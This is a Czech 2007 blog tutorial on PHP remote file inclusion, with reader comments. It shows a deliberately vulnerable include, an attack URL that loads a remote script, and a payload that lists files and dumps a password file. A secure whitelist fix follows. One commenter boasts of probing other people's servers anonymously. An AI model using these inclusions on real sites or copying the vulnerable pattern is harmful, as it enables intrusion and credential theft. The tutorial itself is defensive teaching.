Hackerem sám sobě (1) - PHP Injection

Tento článek startuje menší seriál o bezpečnosti webových aplikací. Řeknu vám, jak hackovat své vlastní stránky za účelem důkladného otestování bezpečnosti vašeho webu. Tím vás ale nenabádám, abyste tyto techniky zkoušeli na stránkách, které nepatří vám – žádné skrývání pomocí sítě TOR a nabourávání webu FBI prosím nedělejte.

Všechny techniky se pokusím prakticky ukázat – to znamená, že uvidíte ukázky kódu a odkazy přímo na PHP skripty, kde lze tuto chybu pozorovat. V žádném případě nebudu zacházet až příliš do hloubky – další rozšiřování kódu je na vaší fantazii.

PHP Injection

Začnu tím nejjednodušším, kde dělají chyby většinou jen začátečníci. Spočívá v injection = injekci, tedy vložení cizího skriptu do stránky. Bezpečnostní riziko mohou způsobit funkce, které provádějí kód z externích souborů – nejčastěji include nebo require.

Nejvíce je s touto technikou spojován skript index.php, který obsahuje hlavičku a patičku, přičemž samotný obsah je tvořen externím souborem vkládaným přes include:

<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <title>Ukázka PHP Injection</title>
  </head>
  <body>
    <!-- hlavicka a menu -->
    <?php include $_GET[ "stranka" ] ?>
    <!-- paticka -->
  </body>
</html>

Tímto tvůrce stránek udělal jednoduchý skript díky kterému nemusí psát do každého html souboru menu a další věci opakující se na každé stránce. Adresa stránky s kontaktem bude mít následující tvar:

index.php?stranka=kontakt.php

Je to sice krásně jednoduché, ale takový skript má obrovskou bezpečnostní díru ! Pokud nemáme na serveru zakázáno allow_url_include, můžeme směle kontakt.php nahradit vzdáleným skriptem:

index.php?stranka=http://domena.cz/zakernyskript.php

Tento vložený cizí skript pak bude mít stejné práva a možnosti jako váš vlastní skript ! Může třeba prohlížet obsah adresáře nebo zobrazit obsah jakéhokoliv vašeho skriptu:

<p><strong>Klidně si vypíšu obsah adresáře:</strong></p>
<p>
  <?php
  $adresar = dir( "./" );
  while ( $polozka = $adresar->read( ) ) {
    echo $polozka."<br />\n";
  }
  $adresar->close( );
  ?>
</p>
<p><strong>A pak obsah souboru s hesly:</strong></p>
<pre>
  <?php
  echo htmlspecialchars( file_get_contents( "passwords.php" ) );
  ?>
</pre>

Ukázka: php-injection.php?stran­ka=http://www­.jopress.cz/tes­t/php-injection-hack.php

A je vymalováno – tato bezpečnostní díra přinesla útočníkovi celý web na stříbrném podnose.

Řešení

Nejlepší metodou pro tento typ skriptu je nadefinování všech stránek pomocí podmínek. Nebudeme tím spoléhat na vstup, což udělá náš skript bezpečným.

<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <title>Bezpečný skript</title>
  </head>
  <body>
    <!-- hlavicka a menu -->
    <?php
    switch ( $_GET[ "stranka" ] ) {
      case "novinky":
        include "novinky.php";
        break;
      case "kontakt":
        include "kontakt.php";
        break;
      // a tak dale...
      default:
        include "404.php"; // stranka nenalezena
        break;
    }
    ?>
    <!-- paticka -->
  </body>
</html>

Adresa pro zobrazení kontaktu bude nyní index.php?stranka=kontakt.

Doufám, že jste si uvědomili nedozírné následky prezentované chyby a dáte si na PHP Injection pozor. Pokud používáte externí soubory, ujistěte se, že opravdu nejdou podstřčit něčím jiným. Dávejte si pozor i na přípony, existují situace, kdy i obrázek může být maskovaný skript :-)

Vloženo: 26. 7. 2007 15.24RSS komentářů tohoto článku

Komentáře:

[1] Radek Tomášek 26. 7. 2007 17.05

jojo, php injection je pěkná mrška! :) Jinak díky za další poučný článek…


[2] Aleš Janda (kyblicek@kyblsoft.cz) 26. 7. 2007 19.00

Pěkné, pěkné.. :-) Těším se na pokračování :-)


[3] Aleš Janda (kyblicek@kyblsoft.cz) 26. 7. 2007 19.14

Ještě bych chtěl také upozornit na to, že tento skript může být potenciální bezpečnostní dírou, i když je allow_url_include zakázáno – zejména je-li na server možnost uploadu (hodil bych tam PHP skript s neškodnou příponou .jpg a pak ho touhle dírou zavolal).

A pak mi tu také chybí metody, jak se tomu vyvarovat, tj. co s tím, aby to napadnutelné nebylo :-)

A ještě něco – bylo by super, kdyby se u komnetářů zapsaly vložené údaje do cookies a nastavily by se znova. A kdyby byla Texy syntaxe popsána i v dalších obrázovkách (v náhledu) ;-)

Jsem nenáročný, znáš mě :-)


[4] Martin Grames (martin.grames@chapadlo.cz) 26. 7. 2007 22.37

[3] Aleš Janda: Rozkaz šéfe ! Připomínky z odstavců 2 a 3 provedeny.


[5] Dranel (dranel@email.cz) 13. 11. 2007 10.58

Chtěl bych se zeptat, jestli je bezpečné i řešení z linuxsoftu ?


[6] Dranel (dranel@email.cz) 13. 11. 2007 10.59

EDIT: Mohl bys mi prosím odpovědět na mail? Nevím, jestli sem nepřijdu až zase za půl roku :/


[7] Martin Grames (martin.grames@chapadlo.cz) 13. 11. 2007 18.07

[6] Dranel: Ano, toto je bezpečné řešení – funkce is_file totiž vrátí false při použití souboru z externího serveru. Také vložení "./" před název souboru zajistí, aby mohl být použit pouze soubor z aktuálního nebo dále vnořených adresářů.

Odpověď zasílám i na e-mail ;-)


[8] Dranel (dranel@email.cz) 15. 12. 2007 18.22

Martin Grames: Ještě bych se rád zeptal, jestli je bezpečné řešení i načítání od rootu. Tj např:

include „/neco.php“;

Odpovědět můžete znovu na mail prosím :)


[9] roomy (PV7x@email.cz) 18. 7. 2008 19.46

Tak sem se taky nudil a hledam servery na inkludovani a natrazil sem na jeden co mi pri pokusu o include vypsal toto: Neoprávněný pokus o includování souboru, Vaše IP bude zaznamenána z bezpečnostních důvodů!

Jeste ze mam ip anonymizer:F


[10] tayger (tayger.josef@seznam.cz) 13. 6. 2010 18.03

Hehe, je to možná vychloubání, ale tento podmiňovaný styl vkládání obsahu používám vždy a to jsem ani o této díře netušil. No platí, že každý ty stránky děláme jinak. :-D


[11] Darkling 2. 8. 2010 18.36

Čau, já používám tenhle kód: <?php $filename = „./složka/“ . $page . „.php“; if (File_Exists ($filename)){
include $filename; } else{
include „něco.php“; } ?> Je to bezpečné řešení ?


Přidat komentář